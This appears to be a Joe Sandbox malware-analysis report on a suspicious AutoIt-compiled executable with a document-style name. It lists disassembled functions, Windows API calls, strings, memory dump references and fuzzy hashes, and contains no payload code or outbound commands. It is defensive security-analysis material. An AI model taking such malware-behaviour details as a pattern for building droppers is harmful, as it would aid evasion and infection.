Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: FileModuleName$__wcsicmp_l_memmove_wcscpy
String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$C:\Users\user\Desktop\DOC092024-0431202229487.exe$CMDLINE$CMDLINERAW
API String ID: 861526374-449234240
Opcode ID: b30eb9444e892ab2e3fc50c21aecb0da27aa5c770f8c4384f362056ee724ef8d
Instruction ID: 8b0eb99260802e2fc6cc77a8e642023b2b195e8b9a3b4ea02d59598b2dd488f0
Opcode Fuzzy Hash: b30eb9444e892ab2e3fc50c21aecb0da27aa5c770f8c4384f362056ee724ef8d
Instruction Fuzzy Hash: 4E8194B2800119EACB15EBE4DC5AEEFB778AF45350F500016F541B70C2EF686A85CBB1

Function 0075C890 Relevance: 18.3, APIs: 12, Instructions: 316
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0075C6A0: __time64.LIBCMT ref: 0075C6AA

Part of subcall function 007141A7: _fseek.LIBCMT ref: 007141BF

__wsplitpath.LIBCMT ref: 0075C96F

Part of subcall function 0073297D: __wsplitpath_helper.LIBCMT ref: 007329BD

_wcscpy.LIBCMT ref: 0075C982
_wcscat.LIBCMT ref: 0075C995
__wsplitpath.LIBCMT ref: 0075C9BA
_wcscat.LIBCMT ref: 0075C9D0
_wcscat.LIBCMT ref: 0075C9E3

Part of subcall function 0075C6E4: _memmove.LIBCMT ref: 0075C71D
Part of subcall function 0075C6E4: _memmove.LIBCMT ref: 0075C72C

_wcscmp.LIBCMT ref: 0075C92A

Part of subcall function 0075CE59: _wcscmp.LIBCMT ref: 0075CF49
Part of subcall function 0075CE59: _wcscmp.LIBCMT ref: 0075CF5C

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 0075CB8D
DeleteFileW.KERNEL32(?,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 0075CC24
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 0075CC3A
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 0075CC4B
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 0075CC5D

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy
String ID:
API String ID: 152968663-0
Opcode ID: 983fe5de8511483df0d27681157d7782e4abd0de02bf7219348056ec1e662ef1
Instruction ID: 5fc7874fb0c3316f162dd3a0d2fa4bc93cac1ba6c0d425df6e8ebe2914746f9c
Opcode Fuzzy Hash: 983fe5de8511483df0d27681157d7782e4abd0de02bf7219348056ec1e662ef1
Instruction Fuzzy Hash: 16C13CB190021DAEDF11DFA5CC85FEEBBBDEF48310F0040AAB609E6151D7749A898F65

Function 007130A5 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 66
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 007130B0
LoadCursorW.USER32(00000000,00007F00), ref: 007130BF
LoadIconW.USER32(00000063), ref: 007130D5
LoadIconW.USER32(000000A4), ref: 007130E7
LoadIconW.USER32(000000A2), ref: 007130F9

Part of subcall function 0071318A: LoadImageW.USER32(00710000,00000063,00000001,00000010,00000010,00000000), ref: 007131AE

RegisterClassExW.USER32(?), ref: 00713167

Part of subcall function 00712F58: GetSysColorBrush.USER32(0000000F), ref: 00712F8B
Part of subcall function 00712F58: RegisterClassExW.USER32(00000030), ref: 00712FB5
Part of subcall function 00712F58: RegisterClipboardFormatW.USER32(TaskbarCreated), ref: 00712FC6
Part of subcall function 00712F58: LoadIconW.USER32(000000A9), ref: 00713009

Strings

#, xrefs: 00713140
AutoIt v3, xrefs: 00713156
0, xrefs: 00713139

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Load$Icon$Register$BrushClassColor$ClipboardCursorFormatImage
String ID: #$0$AutoIt v3
API String ID: 2880975755-4155596026
Opcode ID: b6a4451f235c2e35feb224b38527ea8fe7f9414661b1c4f220e85a013ba50f02
Instruction ID: 02efe7e87766b15204163c81cbe524164b3b099098d11a0cf4568f3ad9706d22
Opcode Fuzzy Hash: b6a4451f235c2e35feb224b38527ea8fe7f9414661b1c4f220e85a013ba50f02
Instruction Fuzzy Hash: 19213370E01308BBDB10DFA9ED49B99BFF5EB48310F50812BE614A22A1D77945818FA9

Function 00712F58 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 53
registrywindowclipboardCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00712F8B
RegisterClassExW.USER32(00000030), ref: 00712FB5
RegisterClipboardFormatW.USER32(TaskbarCreated), ref: 00712FC6
LoadIconW.USER32(000000A9), ref: 00713009

Strings

+, xrefs: 00712F74
0, xrefs: 00712F6D
TaskbarCreated, xrefs: 00712FBB
AutoIt v3 GUI, xrefs: 00712FA7

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Register$BrushClassClipboardColorFormatIconLoad
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 975902462-1005189915
Opcode ID: a425da5379129f5d5d7a9758f4f62b7cbf85d6144b89b90b59803135701f73e7
Instruction ID: 16a618e8f2b9236449edc8a53bdd268b2742316f4375c2bedb39fa40a15197a0
Opcode Fuzzy Hash: a425da5379129f5d5d7a9758f4f62b7cbf85d6144b89b90b59803135701f73e7
Instruction Fuzzy Hash: A121E2B5901318AFDB10DFA4E989BCDBBB4FB08710F00811AF611A62A0D7B80545DFA9

Function 0076C8B7 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 401
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

NULL Pointer assignment, xrefs: 0076CCEE, 0076CCFF
Not an Object type, xrefs: 0076C916

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: 356c0f8af9236080ad1f4d4f45906e01c93419aa33d1f135e3fc77bd205ecaf5
Instruction ID: 164b7f6fbe6b660ae71002aa0cc545a989b83e79203a5047fa400909240c54d5
Opcode Fuzzy Hash: 356c0f8af9236080ad1f4d4f45906e01c93419aa33d1f135e3fc77bd205ecaf5
Instruction Fuzzy Hash: 9FE1B5B1A00219AFDF11DFA4D845ABE77B5FF48354F148029FD8AA7281D778AD41CBA0

Function 00713DCB Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00713F9B: LoadLibraryExW.KERNEL32(00000001,00000000,00000002,?,?,?,?,007134E2,?,00000001), ref: 00713FCD

_free.LIBCMT ref: 00783C27
_free.LIBCMT ref: 00783C6E

Part of subcall function 0071BDF0: GetCurrentDirectoryW.KERNEL32(00000104,?,?,00002000,?,007D22E8,?,00000000,?,00713E2E,?,00000000,?,007ADBF0,00000000,?), ref: 0071BE8B
Part of subcall function 0071BDF0: GetFullPathNameW.KERNEL32(?,00000104,?,?,?,00713E2E,?,00000000,?,007ADBF0,00000000,?,00000002), ref: 0071BEA7
Part of subcall function 0071BDF0: __wsplitpath.LIBCMT ref: 0071BF19
Part of subcall function 0071BDF0: _wcscpy.LIBCMT ref: 0071BF31
Part of subcall function 0071BDF0: _wcscat.LIBCMT ref: 0071BF46
Part of subcall function 0071BDF0: SetCurrentDirectoryW.KERNEL32(?), ref: 0071BF56

Strings

Bad directive syntax error, xrefs: 00783C54
G-q, xrefs: 00783A4F
E<q, xrefs: 00783B58
>>>AUTOIT SCRIPT<<<, xrefs: 00783A01

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: CurrentDirectory_free$FullLibraryLoadNamePath__wsplitpath_wcscat_wcscpy
String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error$E<q$G-q
API String ID: 1510338132-2170838863
Opcode ID: 2d53f84cd4d80f501c36eaa6b71a272675ed14a269e4bb71a7759f58d277c188
Instruction ID: 94e1f00868466605f4482a50945da95132d29f6e7d2ff6457f77388de65958ee
Opcode Fuzzy Hash: 2d53f84cd4d80f501c36eaa6b71a272675ed14a269e4bb71a7759f58d277c188
Instruction Fuzzy Hash: 01917371940219EFCF04EFA8CC559EEB7B4BF09710F104529F816AB291DB789E45CB60

Function 04D72600 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 04D726D1
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 04D728F7

Memory Dump Source

Source File: 00000000.00000002.1692690521.0000000004D70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d70000_DOC092024-0431202229487.jbxd

Similarity

API ID: CreateFileFreeVirtual
String ID:
API String ID: 204039940-0
Opcode ID: c604c45430315f2d7ac9edfc96fa3ed3524b16f7139e20e6f85f26396c7b052c
Instruction ID: 75e12ae16508495e09ec1b9cde01578f786ba9215502017027d12b0c110788b2
Opcode Fuzzy Hash: c604c45430315f2d7ac9edfc96fa3ed3524b16f7139e20e6f85f26396c7b052c
Instruction Fuzzy Hash: 92A10D74E00249EBDB14CFA4C994BEEB7B5FF48304F208599E501BB280E779AA41DF55

Function 0072EB05 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 73
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,00000000,?,0072EADA,?,?), ref: 0072EB27
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?,?,0072EADA,?,?), ref: 00784B26
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000,?,?,0072EADA,?,?), ref: 00784B65
RegCloseKey.ADVAPI32(?,?,0072EADA,?,?), ref: 00784B94

Strings

Software\AutoIt v3\AutoIt, xrefs: 0072EB1D
Include, xrefs: 00784B1E, 00784B5D

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: QueryValue$CloseOpen
String ID: Include$Software\AutoIt v3\AutoIt
API String ID: 1586453840-614718249
Opcode ID: e3a5c3afb200d4c0e94c36ec6a761369a6caade82ee0888e0cc76fff6dfc1ed2
Instruction ID: 4e0789d781564043cfc67d68f4b9c97ba8a4de2e161b1c61358f80a1c5f1b6b1
Opcode Fuzzy Hash: e3a5c3afb200d4c0e94c36ec6a761369a6caade82ee0888e0cc76fff6dfc1ed2
Instruction Fuzzy Hash: 3C1184B1640108FEEB14EBA8CD8AEFE7BBCEF04354F504055F506D2190EAB49E46D760

Function 00712E9D Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00712ECB
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00712EEC
ShowWindow.USER32(00000000), ref: 00712F00
ShowWindow.USER32(00000000), ref: 00712F09

Strings

AutoIt v3, xrefs: 00712EC3, 00712EC8, 00712EC9
edit, xrefs: 00712EE6

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 5a5bf0a6d97ebae38c3edac5e06898715a2e7ff913da328972b7fc010750714c
Instruction ID: 21acc66ed30d0eaba126f956c345ea118730562cdb2e94c0a505d5be9c2e9425
Opcode Fuzzy Hash: 5a5bf0a6d97ebae38c3edac5e06898715a2e7ff913da328972b7fc010750714c
Instruction Fuzzy Hash: 1EF03A70A412D47AE7306767AC08E672F7DD7C7F20F41C11FBA08A21B0C1690C81CAB4

Function 04D723B0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 152fileCOMMON

Download Yara Rule

APIs

Part of subcall function 04D722A0: Sleep.KERNEL32(000001F4), ref: 04D722B1

CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 04D724EF

Strings

KSYQLPIIZC1YEZ6TCW6FEQAX1SUN, xrefs: 04D72552, 04D72555

Memory Dump Source

Source File: 00000000.00000002.1692690521.0000000004D70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d70000_DOC092024-0431202229487.jbxd

Similarity

API ID: CreateFileSleep
String ID: KSYQLPIIZC1YEZ6TCW6FEQAX1SUN
API String ID: 2694422964-4263944113
Opcode ID: bca3a1b0a92a29403694052cec8b2228bbeb688bf58aaf2cc35a834f93522215
Instruction ID: 088aaa54a1ea2073520c2d4bf7ce197f5b417c7a61d4df20345a3af56286344c
Opcode Fuzzy Hash: bca3a1b0a92a29403694052cec8b2228bbeb688bf58aaf2cc35a834f93522215
Instruction Fuzzy Hash: C3616330D04288DAEF11DBB4C858BDFBB74AF19304F044198E6497B2C1E6B95B49CBA5

Function 007138E4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 0078454E

Part of subcall function 00717E53: _memmove.LIBCMT ref: 00717EB9

_memset.LIBCMT ref: 00713965
_wcscpy.LIBCMT ref: 007139B5
Shell_NotifyIconW.SHELL32(00000001,?), ref: 007139C6

Strings

Line: , xrefs: 00784578

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: IconLoadNotifyShell_String_memmove_memset_wcscpy
String ID: Line:
API String ID: 3942752672-1585850449
Opcode ID: 4d2cfbb444d58a8214114a747c0529ecef85c9b51888bea5e8f95239f3687bce
Instruction ID: 231d3b5d9bf558336faf708e12232bc30fa0c324078942e1629e8456d58a9ca9
Opcode Fuzzy Hash: 4d2cfbb444d58a8214114a747c0529ecef85c9b51888bea5e8f95239f3687bce
Instruction Fuzzy Hash: CE31C471009340EBD321EB64DC49FDA77F8AB44354F40851BF584920E1DBBCAA88CB96

Function 0074A857 Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.COMBASE ref: 0074A874
ProgIDFromCLSID.COMBASE(?,00000000), ref: 0074A88F
lstrcmpiW.KERNEL32(?,00000000), ref: 0074A89D
CoTaskMemFree.COMBASE(00000000), ref: 0074A8AD
CLSIDFromString.COMBASE(?,?), ref: 0074A8B9

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: ff50c921e63452eeb6b5bf5cc1eb4e732f9b1cf8b9ef0e11277954c7ee37aa1e
Instruction ID: 04e904c36f9c9758f2c681927fad16a9f694c90b2bdbe0caf01d594e92f89df2
Opcode Fuzzy Hash: ff50c921e63452eeb6b5bf5cc1eb4e732f9b1cf8b9ef0e11277954c7ee37aa1e
Instruction Fuzzy Hash: EC018F76601204BFDB224F54DC44BAA7BFDEF44361F108025B901D2210D778DD429BA1

Function 0076F79F Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 385COMMON

Download Yara Rule

Strings

dE|, xrefs: 0076F865

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID:
String ID: dE|
API String ID: 0-1679965369
Opcode ID: 8e8d2ed35e744965c5f2b3ac39a76137f9eb7e8a20403137d7a051c741acb4c9
Instruction ID: 7caec784307535b76572514f28bb85ea2a291dbd22176b130f92cbcc9f6c7b3c
Opcode Fuzzy Hash: 8e8d2ed35e744965c5f2b3ac39a76137f9eb7e8a20403137d7a051c741acb4c9
Instruction Fuzzy Hash: 2EF17A71608701DFC710DF28D885B5AB7E1FF88314F14892EF99A9B292D778E945CB82

Function 00713A67 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32(1<q), ref: 00713A7D
SHGetPathFromIDListW.SHELL32(?,?), ref: 00713AD2
SHGetDesktopFolder.SHELL32(?), ref: 00713A8F

Part of subcall function 00713B1E: _wcsncpy.LIBCMT ref: 00713B32

Strings

1<q, xrefs: 00713A70, 00713B06, 00713AF1, 00713A76, 00713AF9, 00713B09

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: DesktopFolderFromListMallocPath_wcsncpy
String ID: 1<q
API String ID: 3981382179-2384031456
Opcode ID: d27708dda55e0887d3690afc4ca342b4c9ec8fa32d18798b1d836f79455a8b19
Instruction ID: ef207dbc80a8d06e56148c66a020e7517795d6fde01639c86f9ee60b30581954
Opcode Fuzzy Hash: d27708dda55e0887d3690afc4ca342b4c9ec8fa32d18798b1d836f79455a8b19
Instruction Fuzzy Hash: 34218776B00114ABCB24DF99DC88DEE77BEEF88710B108095F509DB291EB749E46CB94

Function 0072C955 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,0072C948,SwapMouseButtons,00000004,?), ref: 0072C979
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,0072C948,SwapMouseButtons,00000004,?,?,?,?,0072BF22), ref: 0072C99A
RegCloseKey.KERNEL32(00000000,?,?,0072C948,SwapMouseButtons,00000004,?,?,?,?,0072BF22), ref: 0072C9BC

Strings

Control Panel\Mouse, xrefs: 0072C977

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: CloseOpenQueryValue
